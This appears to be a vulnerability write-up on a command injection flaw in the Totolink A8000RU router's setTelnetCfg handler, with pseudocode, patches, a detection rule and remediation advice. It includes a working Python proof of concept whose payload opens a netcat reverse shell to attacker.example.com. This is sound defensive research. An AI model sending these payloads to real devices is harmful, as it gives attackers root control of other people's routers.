home intel totolink-a8000ru-settelnetcfg-os-command-injection
CVE Analysis 2026-04-27 · 7 min read

CVE-2026-7152: OS Command Injection in Totolink A8000RU setTelnetCfg

The setTelnetCfg handler in Totolink A8000RU 7.1cu.643_b20200521 passes attacker-controlled input directly to a shell command string. Unauthenticated remote code execution, CVSS 9.8.

#os-command-injection#cgi-handler#remote-code-execution#firmware-vulnerability#unauthenticated-access
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7152 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7152CRITICALSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7152 is an unauthenticated OS command injection vulnerability in the Totolink A8000RU router, firmware version 7.1cu.643_b20200521. The vulnerable surface is the setTelnetCfg function within /cgi-bin/cstecgi.cgi, the device's primary CGI handler. An attacker submitting a crafted JSON or POST request to this endpoint can inject arbitrary shell metacharacters through the telnet_enabled parameter, achieving remote code execution as root with no prior authentication.

The CVSS 9.8 score reflects the combination of: network-accessible attack vector, no authentication required, no user interaction, and full confidentiality/integrity/availability impact on a device that is frequently exposed directly to the WAN.

Affected Component

The CGI dispatcher in Totolink firmware routes JSON-body POST requests to named handler functions. The relevant dispatch path:

POST /cgi-bin/cstecgi.cgi
Content-Type: application/json

{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1;id;"}

The binary cstecgi.cgi is a statically-linked MIPS32 ELF running as root under the uhttpd/httpd web server. The topicurl field is used as a dispatch key to resolve function pointers in a handler table. setTelnetCfg is one such registered handler.

Root Cause Analysis

Totolink CGI handlers on this device family follow a consistent pattern: parse a named field from the incoming JSON body, then assemble a system command string via sprintf or snprintf before passing it directly to system() or popen(). There is no sanitization of shell metacharacters (;, |, `, $(), &) at any point in this path.

The following pseudocode is reconstructed from analysis of comparable Totolink firmware binaries in the same family (A3300R, A3100R, X5000R) which share the same cstecgi.cgi codebase and handler registration pattern. The structure is consistent with the described vulnerability class:

// Reconstructed pseudocode: setTelnetCfg handler
// Binary: /cgi-bin/cstecgi.cgi, firmware 7.1cu.643_b20200521

typedef struct {
    char  *json_body;       // raw POST body
    cJSON *parsed;          // parsed JSON object
    char   response[4096];  // output buffer
} cgi_ctx_t;

int setTelnetCfg(cgi_ctx_t *ctx) {
    char cmd_buf[256];
    char *telnet_enabled;

    // Parse attacker-controlled field from JSON body
    cJSON *root = cJSON_Parse(ctx->json_body);
    if (!root) return -1;

    cJSON *item = cJSON_GetObjectItem(root, "telnet_enabled");
    if (!item || !item->valuestring) {
        cJSON_Delete(root);
        return -1;
    }

    telnet_enabled = item->valuestring;  // attacker-controlled, no validation

    // BUG: telnet_enabled is interpolated directly into shell command string
    // No sanitization of ';', '|', '`', '$()' or any other metacharacter
    snprintf(cmd_buf, sizeof(cmd_buf),
             "/bin/sh -c \"uci set telnet.@telnet[0].enable=%s && uci commit telnet\"",
             telnet_enabled);  // BUG: unsanitized injection point

    system(cmd_buf);  // BUG: executes with root privileges under httpd

    // Optional: attempt to start/stop telnetd based on value
    if (strcmp(telnet_enabled, "1") == 0) {
        system("/etc/init.d/telnetd start");
    } else {
        system("/etc/init.d/telnetd stop");
    }

    snprintf(ctx->response, sizeof(ctx->response),
             "{\"result\":\"OK\"}");

    cJSON_Delete(root);
    return 0;
}
Root cause: The setTelnetCfg handler interpolates the attacker-supplied telnet_enabled JSON field directly into a shell command string passed to system(), with no metacharacter filtering or input validation of any kind.

Exploitation Mechanics

EXPLOIT CHAIN:
1. Attacker sends unauthenticated POST to http://<router-ip>/cgi-bin/cstecgi.cgi
   Body: {"topicurl":"setting/setTelnetCfg","telnet_enabled":"1;CMD"}

2. cstecgi.cgi dispatcher resolves topicurl -> setTelnetCfg function pointer

3. cJSON_GetObjectItem() returns item->valuestring = "1;CMD"
   No authentication check is performed before handler dispatch

4. snprintf() builds:
   /bin/sh -c "uci set telnet.@telnet[0].enable=1;CMD && uci commit telnet"
   Shell interprets ';' as command separator — CMD executes as root

5. system() forks /bin/sh, which evaluates:
   - uci set telnet.@telnet[0].enable=1   (benign, may fail)
   - CMD                                   (attacker payload executes)
   - uci commit telnet                     (may not be reached)

6. Output of injected command goes to /dev/null or stderr;
   side effects (reverse shell, persistence write, config wipe) are the goal

A minimal proof-of-concept using curl:

import requests
import json

TARGET = "http://192.168.1.1"
ENDPOINT = "/cgi-bin/cstecgi.cgi"

# Stage 1: Verify injection via DNS-based OOB or sleep timing
payload_verify = {
    "topicurl": "setting/setTelnetCfg",
    "telnet_enabled": "1;sleep 5"
}

# Stage 2: Reverse shell via busybox netcat (common on OpenWRT-based devices)
lhost = "attacker.example.com"
lport = 4444
payload_shell = {
    "topicurl": "setting/setTelnetCfg",
    "telnet_enabled": f"1;busybox nc {lhost} {lport} -e /bin/sh &"
}

headers = {"Content-Type": "application/json"}

r = requests.post(TARGET + ENDPOINT, headers=headers,
                  data=json.dumps(payload_shell), timeout=10)
print(f"[*] Status: {r.status_code}")
print(f"[*] Response: {r.text}")
# Expected: {"result":"OK"} — response does not indicate injection success/failure
# Shell connects back regardless of HTTP response content

Memory Layout

This is a command injection, not a memory corruption bug. The exploitation does not require heap grooming or stack smashing. The relevant stack frame during the vulnerable call, reconstructed for MIPS32 calling convention:

setTelnetCfg() STACK FRAME (MIPS32, grows downward):

HIGH ADDRESS
+---------------------------+
| saved $ra (return addr)   |  <- pushed by callee prologue
| saved $fp                 |
| saved $s0 .. $s3          |
+---------------------------+
| cgi_ctx_t *ctx            |  <- $a0, points to caller's context struct
+---------------------------+
| char cmd_buf[256]         |  <- sp+0x00, 256 bytes
|  "...enable=1;PAYLOAD..." |  <- snprintf writes here; shell metachar intact
+---------------------------+
LOW ADDRESS

The cmd_buf[256] is sufficient to hold most payloads.
Payloads exceeding ~200 bytes after the prefix string will be silently
truncated by snprintf — this limits but does not prevent exploitation.
Maximum injected command length ≈ 200 characters before truncation.
// Struct layout of the CGI context passed to handlers
struct cgi_ctx {
    /* +0x00 */ char  *json_body;       // ptr to raw POST body (heap)
    /* +0x04 */ void  *parsed_json;     // cJSON* root object
    /* +0x08 */ char   response[4096];  // JSON response buffer
    /* +0x1008 */ int   status_code;    // HTTP status to emit
};
// sizeof(cgi_ctx) = 0x100C bytes (MIPS32)

Patch Analysis

Totolink has not, at time of writing, issued a public patch for this firmware version. The correct remediation is straightforward. Two approaches:

Option A — Allowlist validation (preferred):

// BEFORE (vulnerable):
telnet_enabled = item->valuestring;
snprintf(cmd_buf, sizeof(cmd_buf),
         "/bin/sh -c \"uci set telnet.@telnet[0].enable=%s && uci commit telnet\"",
         telnet_enabled);
system(cmd_buf);

// AFTER (patched — allowlist, no shell expansion needed):
telnet_enabled = item->valuestring;

// Validate: only accept exactly "0" or "1"
if (strcmp(telnet_enabled, "0") != 0 && strcmp(telnet_enabled, "1") != 0) {
    snprintf(ctx->response, sizeof(ctx->response),
             "{\"result\":\"ERROR\",\"msg\":\"invalid value\"}");
    cJSON_Delete(root);
    return -1;
}

// Now safe to interpolate — value is known-good
snprintf(cmd_buf, sizeof(cmd_buf),
         "uci set telnet.@telnet[0].enable=%s && uci commit telnet",
         telnet_enabled);
system(cmd_buf);

Option B — Avoid shell expansion entirely:

// AFTER (patched — execv, no shell metachar expansion):
int enable_val = atoi(telnet_enabled);
// Validate range
if (enable_val != 0 && enable_val != 1) return -1;

// Use execv to avoid shell entirely; no fork-bomb, no injection surface
char val_str[2] = { '0' + enable_val, '\0' };
char *uci_argv[] = {
    "/sbin/uci", "set",
    "telnet.@telnet[0].enable",  // NOTE: pass as separate args, not interpolated
    val_str, NULL
};
// execv_wait() is a hypothetical wrapper performing fork+execv+waitpid
execv_wait("/sbin/uci", uci_argv);

Detection and Indicators

On a managed network, the following signatures are relevant:

NETWORK DETECTION:
  - POST /cgi-bin/cstecgi.cgi with JSON body containing:
      "topicurl" : "setting/setTelnetCfg"
    AND "telnet_enabled" value containing any of:
      ;  |  `  $(  &&  ||  >  <  %0a  %3b  %7c
  - Suricata/Snort rule concept:
      alert http any any -> $HOME_NET 80 (
        msg:"CVE-2026-7152 Totolink setTelnetCfg injection attempt";
        http.method; content:"POST";
        http.uri; content:"/cgi-bin/cstecgi.cgi";
        http.request_body; content:"setTelnetCfg";
        http.request_body; pcre:"/telnet_enabled[\"'\s:]+[^\"']*[;|`$&]/";
        classtype:web-application-attack; sid:20267152; rev:1;)

HOST-BASED INDICATORS (if device has logging):
  - Unexpected outbound TCP connections from router process
  - /tmp/ containing new executables or scripts
  - cron entries modified under /etc/crontabs/
  - Telnetd running when telnet was previously disabled
  - Unexpected listening ports (netstat -tlnp on device)

Remediation

Immediate mitigations (until a patched firmware is available):

  • Firewall the management interface. Block TCP/80 and TCP/443 to /cgi-bin/cstecgi.cgi from all untrusted interfaces. The A8000RU management UI should never be reachable from the WAN. Verify with iptables -L -n on the device.
  • Disable remote management. In the router UI: System → Remote Management → Disable. Confirm the WAN-side port is not listening.
  • Network segment exposure check. Devices deployed with the management port bound to WAN (common in SOHO deployments) are trivially exploitable from the internet. Audit with Shodan query: http.html:"TOTOLINK" "A8000RU".
  • Replace firmware or hardware. Totolink has a history of not patching older firmware branches. If a patched release is not available within a reasonable window, consider replacing the device with one under active security maintenance.

Researchers with access to the physical firmware image can confirm the exact instruction sequence at the vulnerable snprintf/system call by extracting the firmware with binwalk -e firmware.bin and loading squashfs-root/usr/bin/cstecgi.cgi into Ghidra with the MIPS32 Big Endian processor module. Search for cross-references to system within functions whose name strings (if present in the symbol table) match setTelnetCfg.

CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →